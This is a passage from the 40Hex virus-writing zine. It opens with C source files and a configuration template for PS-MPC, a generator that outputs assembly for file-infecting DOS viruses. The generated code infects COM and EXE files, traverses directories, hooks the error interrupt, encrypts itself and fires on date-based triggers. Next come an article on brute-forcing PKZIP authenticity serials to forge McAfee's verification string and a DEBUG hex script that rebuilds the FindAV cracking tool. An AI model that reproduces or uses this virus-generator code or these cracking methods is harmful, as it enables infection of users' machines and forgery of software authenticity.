(b != 0) setplusminus(b,*c); config.activation++; } } void printerror(int line, char c) { printf("Error in line %d: Invalid character '%c'.\n",line,c); } void printblank(void) { fprintf(fp,"\n"); } void getDBname(char *orig, char *name,char *delim) { *delim = '\''; orig[strlen(orig)-1] = 0; if (strchr(orig,'\'')) if (strchr(orig,'\"')) { *delim = 0; printf("Error in %s: Both single and double quotes used.",orig); } else *delim = '\"'; if (*delim) strcpy(name,orig); } ----------------------------------- Cut Here ---------------------------------- /* FILE: VMESSAGE.C */ #include "vheader.h" void code_messages(void) { char b[80]; addvar("creator","db '[MPC]',0","Mass Produced Code Generator"); if (config.virusname[0]) { sprintf(b,"db %c%s%c,0",config.virusnamedelim, config.virusname, config.virusnamedelim); addvar("virusname",b,""); } if (config.authorname[0]) { sprintf(b,"db %c%s%c,0",config.authornamedelim, config.authorname, config.authornamedelim); addvar("author",b,""); } printblank(); } ----------------------------------- Cut Here ---------------------------------- /* FILE: VRETURN.C */ #include "vheader.h" void return_EXE(void); void return_COM(void); void code_return(void) { char s[80]; if (config.activation) printlabel("exit_virus:",""); if (config.p.int24) { print("mov ax,2524h","Restore int 24 handler"); print("lds dx,[bp+offset oldint24]","to original"); print("int 21h",""); print("push cs",""); print("pop ds",""); printblank(); } if (config.p.traverse == DOT_DOT) { print("mov ah,3bh","change directory"); print("lea dx,[bp+origdir-1]","original directory"); print("int 21h",""); printblank(); } print("mov ah,1ah","restore DTA to default"); print("mov dx,80h","DTA in PSP"); if (config.p.infectEXE) { if (config.p.infectCOM) { print("cmp sp,id-4","EXE or COM?"); print("jz returnEXE",""); printlabel("returnCOM:",""); return_COM(); printlabel("returnEXE:",""); return_EXE(); } else /* EXE only */ { return_EXE(); } } else { return_COM(); addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file"); } printblank(); } void return_EXE(void) { print("pop es",""); print("pop ds",""); print("int 21h",""); print("mov ax,es","AX = PSP segment"); print("add ax,10h","Adjust for PSP"); print("add word ptr cs:[bp+jmpsave+2],ax",""); print("add ax,word ptr cs:[bp+stacksave+2]",""); print("cli","Clear intrpts for stack manipulation"); print("mov sp,word ptr cs:[bp+stacksave]",""); print("mov ss,ax",""); print("sti",""); print("db 0eah","jmp ssss:oooo"); addvar("jmpsave","dd ?","Original CS:IP"); addvar("stacksave","dd ?","Original SS:SP"); if (config.p.infectCOM) { addvar("jmpsave2","db ?","Actually four bytes"); addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file"); } else addvar("jmpsave2","dd 0fff00000h","Needed for carrier file"); addvar("stacksave2","dd ?",""); } void return_COM(void) { print("int 21h",""); print("retn","100h is on stack"); } ----------------------------------- Cut Here ---------------------------------- /* FILE: VSETUP.C */ #include "vheader.h" void restore_COM(void); void restore_EXE(void); void code_setup(void) { addheap("buffer","db 1ah dup (?)","read buffer"); if (!config.p.encrypt) printlabel("startvirus:","virus code starts here"); print("call next","calculate delta offset"); printlabel("next: pop bp","bp = IP next"); print("sub bp,offset next","bp = delta offset"); printblank(); if (config.p.infectEXE) { if (config.p.infectCOM) /* COM & EXE */ { print("cmp sp,id","COM or EXE?"); print("je restoreEXE",""); printlabel("restoreCOM:",""); restore_COM(); print("jmp short restoreEXIT",""); printlabel("restoreEXE:",""); restore_EXE(); printlabel("restoreEXIT:",""); print("movsw",""); } else /* EXE ONLY */ restore_EXE(); } else restore_COM(); printblank(); if (config.maxinfect) { char b[80]; addheap("numinfec","db ?","Infections this run"); sprintf(b,"mov byte ptr [bp+numinfec],%u",config.maxinfect); print(b,"reset infection counter"); printblank(); } print("mov ah,1Ah","Set new DTA"); print("lea dx,[bp+newDTA]","new DTA @ DS:DX"); print("int 21h",""); printblank(); addheap("newDTA","db 43 dup (?)","Temporary DTA"); if (config.p.traverse == DOT_DOT) { print("mov ah,47h","Get current directory"); print("mov dl,0","Current drive"); print("lea si,[bp+origdir]","DS:SI->buffer"); print("int 21h",""); print("mov byte ptr [bp+backslash],'\\'","Prepare for later CHDIR"); addheap("origdir","db 64 dup (?)","Current directory buffer"); addheap("backslash","db ?",""); printblank(); } if (config.p.int24) { addheap("oldint24","dd ?","Storage for old int 24h handler"); print("mov ax,3524h","Get int 24 handler"); print("int 21h","to ES:BX"); print("mov word ptr [bp+oldint24],bx","Save it"); print("mov word ptr [bp+oldint24+2],es",""); print("mov ah,25h","Set new int 24 handler"); print("lea dx,[bp+offset int24]","DS:DX->new handler"); print("int 21h",""); print("push cs","Restore ES"); print("pop es","'cuz it was changed"); printblank(); } } void restore_EXE(void) { print("push ds",""); print("push es",""); print("push cs","DS = CS"); print("pop ds",""); print("push cs","ES = CS"); print("pop es",""); print("lea si,[bp+jmpsave2]",""); print("lea di,[bp+jmpsave]",""); print("movsw",""); print("movsw",""); print("movsw",""); if (!config.p.infectCOM) print("movsw",""); } void restore_COM(void) { print("lea si,[bp+save3]",""); print("mov di,100h",""); print("push di","For later return"); if (!config.p.infectEXE) print("movsw",""); print("movsb",""); } ----------------------------------- Cut Here ---------------------------------- /* FILE: VSUBS.C */ #include "vheader.h" void code_subroutines(void) { printlabel("open:",""); print("mov ah,3dh",""); print("lea dx,[bp+newDTA+30]","filename in DTA"); print("int 21h",""); print("xchg ax,bx",""); print("ret",""); printblank(); printlabel("attributes:",""); print("mov ax,4301h","Set attributes to cx"); print("lea dx,[bp+newDTA+30]","filename in DTA"); print("int 21h",""); print("ret",""); printblank(); if (config.p.encrypt) { printlabel("write:",""); print("pop bx","Restore file handle"); print("pop bp","Restore relativeness"); print("mov ah,40h","Write to file"); print("lea dx,[bp+decrypt]","Concatenate virus"); print("mov cx,heap-decrypt","# bytes to write"); print("int 21h",""); print("push bx",""); print("push bp",""); printlabel("endwrite:",""); printblank(); } if (config.p.int24) { printlabel("int24:","New int 24h (error) handler"); print("mov al,3","Fail call"); print("iret","Return control"); printblank(); } } ----------------------------------- Cut Here ---------------------------------- /* FILE: VTAIL.C */ #include "vheader.h" void code_tail(void) { if (config.p.infectCOM) printlabel("end entry_point",""); else if (config.p.encrypt) printlabel("end decrypt",""); else printlabel("end startvirus",""); } ----------------------------------- Cut Here ---------------------------------- /* FILE: VTRAVEL.C */ #include "vheader.h" void code_traversal_generic(void); void dot_dot(void); void lea_exe(void); void lea_com(void); void code_traversal(void) { config.p.calls_check = 0; switch (config.p.traverse) { case NONE: code_traversal_generic(); break; case DOT_DOT: printlabel("dir_scan:","\"dot dot\" traversal"); code_traversal_generic(); dot_dot(); break; } printblank(); printlabel("done_infections:",""); } void code_traversal_generic(void) { if (config.p.infectEXE) { lea_exe(); if (!config.p.infectCOM) code_check(); } if (config.p.infectCOM) { lea_com(); if (config.p.infectEXE) config.p.calls_check++; else code_check(); } } void lea_exe(void) { print("lea dx,[bp+exe_mask]",""); if (config.p.infectCOM) print("call infect_mask",""); } void lea_com(void) { print("lea dx,[bp+com_mask]",""); if (config.p.infectEXE) print("call infect_mask",""); } void dot_dot(void) { print("mov ah,3bh","change directory"); print("lea dx,[bp+dot_dot]","\"cd ..\""); print("int 21h",""); print("jnc dir_scan","go back for mo!"); } ----------------------------------- Cut Here ---------------------------------- /* FILE: VVAR.C */ #include "vheader.h" void code_variables(void) { if (config.p.infectEXE) addvar("exe_mask","db '*.exe',0",""); if (config.p.infectCOM) addvar("com_mask","db '*.com',0",""); if (config.p.traverse == DOT_DOT) addvar("dot_dot","db '..',0",""); } ----------------------------------- Cut Here ---------------------------------- ; FILE: SKELETON.CFG ; Skeleton configuration file for PS-MPC version 0.90á ; Lines beginning with semicolons denote comments ; Required parameters: ; Filename = ; This is the filename to be generated by PS-MPC as the source code file. Filename = target.asm ; Infect = (C,E) ; COM, EXE ; Note: You can mix the two, a la "Infect = C,E" Do not use a space to ; deliminate the two parameters. Infect = C,E ; Optional parameters - Defaults are shown in square brackets ; Traversal = ; ([None], Dot Dot) ; If None is specified, then only the files in the current directory will be ; infected. If Dot dot is specified, then files in the current directory and ; subdirectories below the current will be infected. Traversal = N ; Encrypted = ; (Yes, [No]) ; Only turn off encryption if you wish to limit the size of the virus. Encryption = Y ; IDWord = XX ; ([ ],XX) ; The IDWord consists of two characters which are used to identify already ; infected EXE files. This line is not needed in COM-only infectors. Do ; not use an apostrophe or the source code will not assemble properly. IDWord = DA ; MinSize = # ; (A,[0]..65535) ; MinSize is used only in the infection of COM files. Files under MinSize ; bytes are not infected. MinSize = 0 turns off this option. MinSize = A ; indicates use of the virus's effective length as the minimum size. This ; line is ignored in EXE-specific infectors. MinSize = 0 ; MaxSize = # ; (A,[0]..65535) ; MaxSize is used only in the infection of COM files. Files above MaxSize ; bytes are not infected. MaxSize = 0 turns off this option. MaxSize = A ; indicates automatic calculation of maximum size. This line is not needed ; in EXE-only infectors. MaxSize = A ; Infections = # ; ([0]..255) ; Infections is an optional counter limiting the number of infections per run ; of the virus to a specific number. Infections = 0 disables this option. Infections = 0 ; ErrorHandler = ; (Yes, [No]) ; ErrorHandler selects if you wish to include a short critical error handler ; in the virus. This handler prevents Abort, Retry, Fail messages by taking ; over the critical error interrupt. Attempted infection of files on write- ; protected diskettes will not generate an error if this option is set. ErrorHandler = Y ; CommandCom = ; (Yes, [No]) ; This flag indicates whether you wish the virus to infect COMMAND.COM ; 'Yes' turns off the check for COMMAND.COM, thus saving space. CommandCom = N ; VirusName = ; The only limitation to the string is that you may not use both the single ; and double quotes together in the string, i.e. the string B'li"p is not ; legal. VirusName = [Skeleton] ; AuthorName = ; The same constraints apply to AuthorName. AuthorName = Deke ; AllowZero = ; (Yes, [No]) ; This flags whether the virus will allow an encryption value of 0, which ; would effectively leave it in an unencrypted state. 'Yes' disables the ; zero check, thereby shortening code length. AllowZero = N ; Activation Conditions ; All conditions must be satisfied for activation to occur ; Always = ; (Yes, [No]) ; This flags whether the virus always activates, although I can't imagine a ; useful virus that does so. ; Always = N ; IfMonth = # ; <1..12><-,+> ; Activate if the month is equal to the specified number. Adding a minus sign ; after the month indicates activation before or during the specified month. ; Adding a plus sign after the month indicates activation during or after the ; specified month. ; IfMonth = 11+ ; Activate in either November or December ; IfDay = # ; <1..31><-,+> ; Activate if the date is on a certain date Adding a minus sign after the day ; indicates activation on or before that day. Similarly, adding a plus sign ; indicates activation on or after that day. Note: the program does not check ; to see if the number inputted is a valid date. For example, combining ; IfMonth=2 and IfDay=30+ will NOT result in an error, although the virus will ; clearly never activate. ; IfDay = 15+ ; Activate after the fifteenth of the month ; IfYear = # ; <0..65535><-,+> ; Activate during a certain year or years. Don't be stupid and put a ; ridiculous year such as 1-. ; IfYear = 1993+ ; Activate after 1993 ; IfDOW = # ; <0..6><-,+> ; 0 = Sunday, 1 = Monday, etc. ; Activate on, before, or after a particular day of the week. ; IfDOW = 0 ; Activate only on Sundays ; IfMonthDay = #,# ; <#,#><-,+> ; Activate on, before, or after a particular day of the year. This differs ; from the combination of IfMonth and IfDay. ; IfMonthDay = 5,9+ ; Activate only after May 9th ; compare to: ; IfMonth = 5+ ; Activate in May through December, but only if the ; IfDay = 9+ ; day is on or after the 8th. July 1st is NOT an ; activation date ; IfHour = # ; <0..23><-,+> ; This should be self-explanatory at this point. ; IfHour = 12 ; Activate any time from 12 noon -> 1 P.M. ; IfMinute = # ; <0..59><-,+> ; Duh. ; IfMinute = 30+ ; IfSecond = # ; <0..59><-,+> ;; check 0 ; This is somewhat useless, in my estimation ; IfSecond = 30+ ; Percentage = # ; <1..99> ; This uses the 1/100 second counter as a random number. If the counter is ; less than the percentage, then the virus will activate. ; Percentage = 50 ; Even odds --------------------------------- Stop Cutting -------------------------------- 40Hex Number 8 Volume 2 Issue 4 File 002 -=-=-=-=-=-=- Eat PUTAV by Demogorgon of PHALCON/SKISM -=-=-=-=-=-=- Even though pk-zip 2.0 will be out soon and all the methods in this article will be obsolete, I decided to write about them anyway. I am sure you are familiar with the old program called makeav, which attempted to brute force hack pkzip registration serial numbers. Sure, it worked, but it was quite slow. Then, Hal released the program findav, which did the same task several thousand times faster. Dark Angel took apart the program findav in order to make a few modifications. Naturally, Hal included several routines in his code in order to make it very difficult to take apart. Dark Angel captured a memory image of findav after it loaded into memory, wrote it back to disk as a com file, and then changed all of the offsets so that all references to the data segment were changed to their address in the code segment. Dark Angel made several modifications, the most important of which was so that findav would not quit out after finding a serial number. The new version finds every serial number, and logs them to disk. -=-=-=-=-=-=- An Experiment in Distributed Processing -=-=-=-=-=-=- The next day, Garbageheap and I took the modified findav down to the nearest university. We started it running on twenty 80386 systems on their network, each working on a different segment of the 4 billion possible serial numbers. The goal was to find every serial number that worked for McAfee Associates, so that we could then determine which one was the one he uses. When an authenticity verified pkzip file is extracted, pkunzip generates a 3 letter, 3 number validation string that is dependent on the serial number used to validate it. A single registration name has millions of valid serial numbers, but each of these serial numbers has one unique validation string. For Example: PKUNZIP (R) FAST! Extract Utility Version 1.1 03-15-90 Copr. 1989-1990 PKWARE Inc. All Rights Reserved. PKUNZIP/h for help PKUNZIP Reg. U.S. Pat. and Tm. Off. Searching ZIP: EARLOBE.ZIP Exploding: NUL -AV Authentic files Verified! # ATU314 Zip Source: McAFEE ASSOCIATES ^^^^^^ PKUNZIP (R) FAST! Extract Utility Version 1.1 03-15-90 Copr. 1989-1990 PKWARE Inc. All Rights Reserved. PKUNZIP/h for help PKUNZIP Reg. U.S. Pat. and Tm. Off. Searching ZIP: EARLOBE.ZIP Exploding: NUL -AV Authentic files Verified! # SXQ414 Zip Source: McAFEE ASSOCIATES ^^^^^^ Therefore, the task was to find which of the serial numbers we had found for McAfee produces the validation string "NWN405". To do this, we ran every serial number through a program called checkav which Dark Angel wrote to determine what validation number corresponds to which serial number. Of course, a task like this would be nearly impossible on your machine at home, but thanks to my local university, we were able to use twenty machines at once. -=-=-=-=-=-=- Yet Another Way To Eat PUTAV -=-=-=-=-=-=- Because there is never only one way to do something, I decided to put in another way to get whatever validation string you want out of pkzip. All you need to do is include some ^H characters in your registration name to backspace over the validation string and create a new one. Naturally, you can not enter ^H characters when you run putav, so you enter the correct number of some other character, go into memory with td, and change them to 08h, the ^H character. That way, when pkunzip runs and gives you a validation string, it will backspace over it and show your own. For example: >>>>> PUTAV.EXE PUTAV - Put Authenticity Verification in PKZIP.EXE Copyright 1990 PKWARE, Inc. All rights reserved. Enter company name exactly as it appears on the PKWARE documentation. Company Name : ^A^A^A^A^A^A^A^A^A^A^A# BOB666 Earlobe industries Enter serial number exactly as it appears on the PKWARE documentation. Serial Number: 23453244 >>>>> After typing earlobe industries and hitting return, break into turbo debug and change the ^A's (01) to ^H's (08). Remember to put in 11 backspaces. You can use the same method to find the serial number for your string with findav. The only useful application of all this is to duplicate an existing pkzip registration. You could do that before, but now you can do it better. Changing the validation string only really makes a difference if you are trying to duplicate an archive that is known to have a certain one, like McAfee's. 40Hex Number 8 Volume 2 Issue 4 File 003 -=PHALCON/SKISM=- Presents FindAv P/S Style! PD War Collection Program 2 By Hal Of Pheonix Modified by: Dark Angel of PHALCON/SKISM FindAV version 1.5 Released 27 Jul 92 By Dark Angel of PHALCON/SKISM In the beginning, there was MakeAV and all its counterparts. These programs used a brute-force approach to find PKZIP serial numbers. They ran PUTAV, PKZIP, and PKUNZIP repeatedly until a legitimate serial number was found. Although they worked, these programs required hours, often days of running, as well as much wear and tear on the hard drive head. Then FindAV was released by HAL of PHOENIX. FindAV was many, many times faster than MakeAV. Instead of running the PKWare files over and over again, FindAV used an algorithmic approach similar to the one used by PKWare when calculating serial numbers for registered clients. It was a marvelous program, but it, too, had its limitations. The continual display of numbers was aesthetically pleasing, but it took much valuable processor time, slowing down the search for the holy serial number. E-FindAV was released, once again speeding the search time by a large factor. E-FindAV monitored the running of FindAV, turning off the display until the serial number was found. This was a tremendous improvement. However, the user had to sit through a tedious, lengthy, entirely unecessary introduction screen before E-FindAV would execute FindAV. This was unacceptable. Additionally, E-FindAV failed to fix some fundamental problems with FindAV. For one, FindAV stopped after finding the first serial number. While this is fine for most people, it is not desirable when finding existing serial number/validation string combinations. Second, FindAV had a few bugs. The first bug occured only in 386 mode. FindAV would "miss" some legitimate serial numbers which it would catch in 8086 mode. This was, once again, undesirable when looking for existing serial number/validation string combinations. FindAV would also run into an infinite loop in certain instances in 8086 mode. This, too, was unacceptable. Third, FindAV would not log the serial numbers found in a file. Thus, the user had to manually copy the number onto a sheet of paper and transfer it to a file for later reference. Fourth, FindAV would not let the user start searching for a serial number from any number except 1000. If the user wished to find starting from, say, 2 billion, he or she would be forced to create a MAKEAV.DAT file and hex-edit the appropriate values. Last, both FindAV and E-FindAV used rudimentary disassembly-proof code which precluded users from adding features to the program. FindAV version 1.5 fixes these problems. It is essentially the same program as the originally released version by HAL of PHOENIX, but with all the fixes and enhancements mentioned above. Command line options: /B - begin at number You can now start the search from any number, be it 0, 4,294,967,295 or anything in between. This serves several purposes. Should the data file be corrupted, it is not necessary to hexedit the data file to restart from the last position. This option also facilitates the coordinated running of FindAV on multiple machines. In this manner, each machine can start the search at a different point. The value following the /B overrides the value in the FindAV.DAT data file. Syntax: FindAV /B ### Example: FindAV /B 478293 /S - supress output Searches may be expedited somewhat with this supress output option. This eliminates the unecessary on-screen reporting of a sucessful finding. Logging via the AVS.DAT file is preserved. The 'D'isplay command continues to function under this mode. Syntax: FindAV /S Valid keystrokes in FindAV: ESC - Terminate calculation Pressing the ESC key causes FindAV to terminate after saving the status of the run in FindAV.DAT. 'D' - Display Pressing the 'D' key causes FindAV to display the current search number on the screen. This function was originally part of the main loop. However, it consumed countless clock cycles, so it was eliminated to save precious time. Files created by FindAV 1.5: AVS.DAT - log file The AVS.DAT file is created by FindAV. FindAV uses this file to record all sucessful serial number finds. It consists of the company name followed by multiple lines of serial numbers. If FindAV detects the file in the directory, it will append serial numbers to the end. FINDAV.DAT - save file The FindAV.DAT file is created by FindAV when the user terminates calculation. It contains the company name as well as the current search number. It is useful when the user does not wish to search an entire range in one running. FindAV will automatically resume operation if it detects FindAV in the current directory. FindAV 1.5 has data file compatability with version 1.0. Revision history: 1.0 - Unknown - HAL of PHOENIX - initial release 1.5 - 27 Jul 92 - Dark Angel of PHALCON/SKISM - Bug fixes, peephole optimisation, log file, nonstop action, anynumber begin. ------------------------------------------------------------------------------- n findav15.com e 0100 E8 B8 02 74 03 E8 09 00 E8 01 04 B4 4C CD 21 6C e 0110 01 E8 44 01 75 0F E8 D5 00 BA D9 06 E8 27 04 E8 e 0120 5F 00 E8 84 00 E8 13 00 72 10 BF 06 06 2E FF 16 e 0130 0F 01 73 DD BA F2 06 E8 0C 04 C3 B4 01 CD 16 74 e 0140 1E 2A E4 CD 16 3C 64 74 13 3C 44 74 0F 3C 1B 75 e 0150 0E BA 61 07 E8 EF 03 E8 F1 03 F9 C3 E8 1F 00 F8 e 0160 C3 66 83 3D FF 74 15 66 FF 05 F8 C3 8B 05 8B 55 e 0170 02 40 75 03 42 74 05 AB 92 AB F8 C3 F9 C3 E8 6D e 0180 00 E8 5F 00 BA AD 07 E8 BC 03 C3 B8 01 3D BA 7B e 0190 08 CD 21 93 C3 BA D5 07 E8 AB 03 E9 6A FF B4 40 e 01A0 BA D0 07 B9 02 00 CD 21 C3 E8 DF FF 73 1B B4 3C e 01B0 33 C9 CD 21 72 DF E8 D2 FF B4 40 8A 0E 13 06 B5 e 01C0 00 BA 14 06 CD 21 E8 D5 FF B8 02 42 33 C9 99 CD e 01D0 21 B4 40 B9 0B 00 BA B5 07 CD 21 E8 C0 FF B4 3E e 01E0 CD 21 C3 B4 02 32 FF 8B 16 49 06 CD 10 C3 FD BF e 01F0 BF 07 B9 0A 00 80 3E 05 06 00 74 24 66 A1 06 06 e 0200 66 BB 0A 00 00 00 66 33 D2 66 0B C0 75 06 B0 20 e 0210 F3 AA FC C3 66 F7 F3 92 04 30 AA 92 E2 E8 FC C3 e 0220 88 0E C2 07 A1 06 06 8B 16 08 06 EB 06 8B 46 02 e 0230 8B 56 04 0B C0 75 08 0B D2 75 04 B0 20 EB 10 6A e 0240 0A 52 50 E8 3C 01 89 4E 04 89 46 02 92 04 30 AA e 0250 FE 0E C2 07 75 D7 FC C3 E8 3E 01 E8 D8 00 75 07 e 0260 E8 05 00 75 02 32 C0 C3 BF 0A 06 C7 06 C1 07 00 e 0270 0A 80 3E 05 06 00 74 24 66 8B 05 66 C1 C8 10 66 e 0280 B9 0A 00 00 00 66 0B C0 74 50 66 33 D2 66 F7 F1 e 0290 00 16 C1 07 FE 0E C2 07 75 EB EB 3E C7 45 04 9A e 02A0 3B C7 45 06 00 CA FF 75 04 FF 75 06 FF 35 FF 75 e 02B0 02 E8 2C 00 6A 0A 52 50 E8 C7 00 00 16 C1 07 B8 e 02C0 0A 00 99 52 50 FF 75 04 FF 75 06 E8 12 00 89 55 e 02D0 04 89 45 06 FE 0E C2 07 75 CC 80 3E C1 07 3E C3 e 02E0 55 8B EC 8B 4E 0A E3 38 8B 5E 08 8B 56 06 8B 46 e 02F0 04 D1 E9 D1 DB D1 EA D1 D8 0B C9 75 F4 F7 F3 8B e 0300 F0 F7 66 0A 91 8B 46 08 F7 E6 03 D1 72 0C 3B 56 e 0310 06 77 07 72 06 3B 46 04 76 01 4E 33 D2 96 EB 12 e 0320 8B 4E 08 8B 46 06 33 D2 F7 F1 8B 5E 04 93 F7 F1 e 0330 8B D3 5D C2 08 00 B9 07 00 BB 9D 00 BF 0A 06 EB e 0340 1E 80 3E 05 06 00 74 17 66 D3 0D 66 8B 05 66 33 e 0350 D2 F7 F3 66 C1 C8 10 66 83 E8 1A F7 F3 EB 20 8B e 0360 15 8B 45 02 8B F0 D1 EE D1 DA D1 D8 E2 F8 89 15 e 0370 89 45 02 2D 1A 00 83 DA 00 53 52 50 E8 03 00 0B e 0380 D2 C3 55 8B EC 8B 5E 08 8B 46 06 33 D2 F7 F3 8B e 0390 4E 04 91 F7 F3 5D C2 06 00 BE 06 06 AD 89 44 02 e 03A0 AD 89 44 02 BE 14 06 32 ED 8A 0E 13 06 33 DB AC e 03B0 30 87 0A 06 43 80 E3 03 E2 F5 C3 BA 4B 06 E8 85 e 03C0 01 E8 48 01 E8 0A 02 E8 22 00 E8 D4 00 80 3E 13 e 03D0 06 00 75 03 E8 5B 01 33 F6 E8 37 01 80 3E 13 06 e 03E0 00 75 08 BA 41 07 E8 5D 01 32 C0 C3 BE 81 00 AC e 03F0 3C 0D 74 37 3C 2F 75 F7 AC E8 86 00 3C 53 75 13 e 0400 B8 90 00 BF 19 01 B9 09 00 F3 AA BA 83 08 E8 35 e 0410 01 EB DC 3C 42 74 15 3C 3F 75 05 BA 0E 09 EB 5D e 0420 A2 0A 09 BA F6 08 E8 1D 01 EB C4 C3 32 E4 33 DB e 0430 B9 0A 00 99 AC E8 62 00 74 FA E8 50 00 74 05 BA e 0440 A3 08 EB 39 50 92 F7 E1 50 93 F7 E1 5B 03 D3 5B e 0450 03 C3 83 D2 00 93 AC E8 33 00 74 E8 4E 89 1E 06 e 0460 06 89 16 08 06 E8 86 FD BA E2 08 E8 D8 00 BA B3 e 0470 07 E8 D2 00 BA D2 07 E8 CC 00 E9 72 FF E8 C6 00 e 0480 CD 20 3C 61 7C 06 3C 7A 7F 02 04 E0 C3 3C 30 7C e 0490 08 3C 39 7F 04 2C 30 3A C0 C3 3C 20 74 02 3C 3D e 04A0 C3 E8 D3 00 72 65 BA 51 08 E8 9A 00 B9 05 00 E8 e 04B0 DA 00 72 54 8B F2 AD 3D 41 56 75 46 AD 3D 31 30 e 04C0 75 40 BA 14 06 8A 0C E8 C2 00 72 3C 83 3E 08 06 e 04D0 00 75 12 81 3E 06 06 E8 03 75 0A BA 06 06 B1 04 e 04E0 E8 A9 00 72 1D AC A2 13 06 98 91 BE 14 06 BF 31 e 04F0 08 F3 A4 B8 0D 0A AB B0 24 AA BA 21 08 E8 46 00 e 0500 EB 06 BA 31 08 E8 3E 00 E8 78 00 C3 BE 01 00 E8 e 0510 01 00 C3 E8 11 00 B4 01 0B F6 75 05 80 CD 20 EB e 0520 03 80 E5 DF CD 10 C3 B4 03 32 FF CD 10 89 16 49 e 0530 06 C3 BA 98 07 E8 0E 00 B4 0A BA 12 06 CD 21 BA e 0540 D0 07 E8 01 00 C3 B4 09 CD 21 C3 E8 6C 00 72 26 e 0550 BF 4B 06 B8 41 56 AB B8 31 30 AB BE 13 06 AC AA e 0560 98 8B C8 F3 A4 BE 06 06 A5 A5 04 09 91 BA 4B 06 e 0570 E8 31 00 E8 0D 00 C3 B8 00 3D BA C3 07 CD 21 A3 e 0580 CE 07 C3 B4 3E 8B 1E CE 07 CD 21 C3 B4 3F 8B 1E e 0590 CE 07 CD 21 72 06 3B C1 75 02 F8 C3 BA 06 08 E8 e 05A0 A4 FF F9 C3 B4 40 8B 1E CE 07 CD 21 73 0B 3B C1 e 05B0 74 07 BA EE 07 E8 8E FF F9 C3 B4 3C 33 C9 BA C3 e 05C0 07 CD 21 73 08 BA D5 07 E8 7B FF F9 C3 A3 CE 07 e 05D0 C3 9C 58 25 FF 0F 50 9D 9C 58 25 00 F0 3D 00 F0 e 05E0 74 22 9C 58 0D 00 70 50 9D 9C 58 25 00 70 3D 00 e 05F0 70 75 11 FE 06 05 06 2E C7 06 0F 01 61 01 BA 2E e 0600 07 E8 42 FF C3 00 E8 03 00 00 00 00 00 00 00 00 e 0610 00 00 34 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0640 00 00 00 00 00 00 00 00 00 00 00 50 72 6F 67 72 e 0650 61 6D 20 74 6F 20 66 69 6E 64 20 73 65 72 69 61 e 0660 6C 20 23 20 66 6F 72 20 41 56 20 20 76 65 72 20 e 0670 31 2E 35 0D 0A 76 65 72 20 31 2E 30 20 3C 20 62 e 0680 79 20 48 41 4C 20 66 6F 72 20 50 48 4F 45 4E 49 e 0690 58 20 3E 0D 0A 76 65 72 20 31 2E 35 20 62 79 20 e 06A0 44 61 72 6B 20 41 6E 67 65 6C 20 6F 66 20 50 48 e 06B0 41 4C 43 4F 4E 2F 53 4B 49 53 4D 0D 0A 50 72 65 e 06C0 73 73 20 45 53 43 20 74 6F 20 65 78 69 74 20 70 e 06D0 72 6F 67 72 61 6D 0D 0A 24 0D 0A 53 65 72 69 61 e 06E0 6C 20 6E 75 6D 62 65 72 20 66 6F 75 6E 64 21 0D e 06F0 0A 24 0D 0A 46 69 6E 64 41 56 20 63 6F 6D 70 6C e 0700 65 74 65 64 2E 20 20 4E 6F 20 6D 6F 72 65 20 73 e 0710 65 72 69 61 6C 20 6E 75 6D 62 65 72 73 20 6D 61 e 0720 79 20 62 65 20 66 6F 75 6E 64 2E 0D 0A 24 33 38 e 0730 36 20 43 50 55 20 64 65 74 65 63 74 65 64 0D 0A e 0740 24 4E 6F 20 69 6E 70 75 74 2C 20 61 62 6F 72 74 e 0750 69 6E 67 20 6F 70 65 72 61 74 69 6F 6E 21 0D 0A e 0760 24 0D 0A 45 53 43 20 6B 65 79 20 64 65 74 65 63 e 0770 74 65 64 2C 20 73 61 76 69 6E 67 20 46 49 4E 44 e 0780 41 56 2E 44 41 54 20 61 6E 64 20 65 78 69 74 69 e 0790 6E 67 2E 2E 2E 0D 0A 24 45 6E 74 65 72 20 63 6F e 07A0 6D 70 61 6E 79 20 6E 61 6D 65 3A 20 24 54 72 79 e 07B0 69 6E 67 20 23 20 20 20 20 20 20 20 20 20 20 20 e 07C0 24 00 00 46 49 4E 44 41 56 2E 44 41 54 00 00 00 e 07D0 0D 0A 0D 0A 24 0D 0A 45 72 72 6F 72 20 63 72 65 e 07E0 61 74 69 6E 67 20 66 69 6C 65 21 0D 0A 24 0D 0A e 07F0 45 72 72 6F 72 20 77 72 69 74 69 6E 67 20 66 69 e 0800 6C 65 21 0D 0A 24 0D 0A 45 72 72 6F 72 20 69 6E e 0810 20 72 65 61 64 69 6E 67 20 66 69 6C 65 21 0D 0A e 0820 24 43 6F 6E 74 69 6E 75 69 6E 67 20 66 6F 72 3A e 0830 20 42 61 64 20 66 69 6C 65 20 68 65 61 64 65 72 e 0840 20 69 6E 20 46 49 4E 44 41 56 2E 44 41 54 0D 0A e 0850 24 46 49 4E 44 41 56 2E 44 41 54 20 64 65 74 65 e 0860 63 74 65 64 2C 20 72 65 61 64 69 6E 67 20 69 6E e 0870 20 64 61 74 61 2E 2E 2E 0D 0A 24 41 56 53 2E 44 e 0880 41 54 00 53 75 70 70 72 65 73 73 69 6F 6E 20 6F e 0890 66 20 6F 75 74 70 75 74 20 61 63 74 69 76 65 2E e 08A0 0D 0A 24 46 61 74 61 6C 20 65 72 72 6F 72 20 69 e 08B0 6E 20 70 61 72 61 6D 65 74 65 72 20 42 45 47 49 e 08C0 4E 2E 0D 0A 50 72 6F 70 65 72 20 75 73 61 67 65 e 08D0 3A 20 2F 42 20 23 23 23 23 23 23 23 23 23 23 0D e 08E0 0A 24 42 65 67 69 6E 6E 69 6E 67 20 73 65 61 72 e 08F0 63 68 20 61 74 24 55 6E 6B 6E 6F 77 6E 20 70 61 e 0900 72 61 6D 65 74 65 72 3A 20 2F 00 0D 0A 24 50 61 e 0910 72 61 6D 65 74 65 72 73 20 61 72 65 3A 0D 0A 2F e 0920 3F 20 20 20 20 20 20 20 20 20 20 44 69 73 70 6C e 0930 61 79 20 74 68 69 73 20 73 63 72 65 65 6E 0D 0A e 0940 2F 42 20 23 23 23 23 23 20 20 20 20 42 65 67 69 e 0950 6E 20 61 74 20 23 23 23 23 23 0D 0A 2F 53 20 20 e 0960 20 20 20 20 20 20 20 20 73 75 70 70 72 65 73 73 e 0970 20 6F 75 74 70 75 74 0D 0A 24 1A 1A 1A 1A 1A 1A rcx 097F w q ------------------------------------------------------------------------------- 40Hex 